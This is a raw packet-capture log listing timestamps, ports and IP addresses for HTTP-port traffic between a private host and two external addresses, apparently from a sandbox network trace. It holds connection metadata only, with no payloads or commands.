Jul 27, 2024 05:39:19.088871002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088890076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088898897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088923931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088934898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088967085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088972092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089001894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089016914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089035034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089046955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089082956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089087963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089122057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089137077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089168072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089173079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089215994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089221954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089267015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089314938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089364052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089373112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089397907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089411974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089431047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089447975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089464903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089484930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089495897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089498043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089531898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089538097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089562893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089576006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089596987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089611053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089646101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089647055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089679003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089696884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089714050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089745045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089745998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089760065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089780092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089788914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089844942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089879036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089898109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089921951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089929104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089962959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.089973927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.089996099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090008020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090029955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090044022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090063095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090078115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090095043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090110064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090127945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090142965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090162039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090177059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090197086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090209007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090233088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090245962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090264082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090280056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090297937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090313911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090344906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090373039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090406895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090428114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090437889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090451002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090471983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090504885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090511084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090519905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090538979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090557098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090572119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090589046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090605021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090620041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090637922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090651989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090672970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090686083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090708971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090720892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090744019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090751886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090779066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090802908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090812922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090826988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090846062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090862036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090897083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090912104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090946913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090965033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.090980053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.090990067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091013908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091022015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091047049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091057062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091080904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091095924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091129065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091135025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091170073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091183901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091197968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091214895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091237068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091245890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091270924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091284037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091305017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091315985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091341972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091353893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091376066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091393948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091422081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091511965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091563940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091592073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091624975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091650009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091665983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091703892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091754913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091788054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091800928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091820955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091830969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091855049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091866970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091888905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091900110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091923952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.091934919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091963053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.091989994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.092024088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.092036009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.092056990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.092068911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.092091084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.092101097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.092134953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.167004108 CEST	80	49485	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:19.167109013 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.167723894 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.172574043 CEST	80	49485	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:19.177073002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177128077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177134991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177158117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177180052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177202940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177212000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177261114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177310944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177316904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177333117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177350044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177396059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177417994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177450895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177481890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177500010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177514076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177530050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177547932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177576065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177580118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177596092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177613974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177640915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177647114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.177653074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.177695036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.178757906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.178791046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.178813934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.178824902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.178832054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.178873062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.178906918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.178940058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.178963900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.178982019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179019928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179053068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179071903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179085970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179100990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179119110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179140091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179152012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179173946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179202080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179204941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179260969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179292917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179311991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179339886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179346085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179395914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179397106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179429054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179445982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179461956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179477930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179495096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179512024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179527998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179544926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179574966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179593086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179642916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179646015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179692984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179696083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179728985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179743052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179775953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179779053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179825068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179831028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179863930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179884911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179897070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179910898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179929018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179946899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179963112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.179977894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.179996014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180011034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180028915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180044889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180078030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180093050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180124998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180140018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180188894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180191040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180239916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180239916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180284023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180290937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180319071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180334091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180352926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180368900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180385113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180404902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180418968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180432081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180452108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180468082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180499077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180501938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180550098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180576086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180608988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180627108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180651903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180670977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180723906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180756092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180775881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180795908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180804968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180839062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180852890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180871964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180886984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180905104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180921078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180938959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180957079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.180970907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.180986881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181008101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181020021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181041002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181062937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181075096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181088924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181107998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181123018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181154966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181170940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181204081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181221962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181236029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181247950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181269884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181279898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181303024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181318045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181338072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181350946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181371927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181385040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181405067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181418896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181440115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181452990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181472063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181488037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181505919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181519985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181540012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181554079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181572914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181588888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181607008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.181618929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181654930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.181658030 CEST	80	49477	85.28.47.31	192.168.2.4
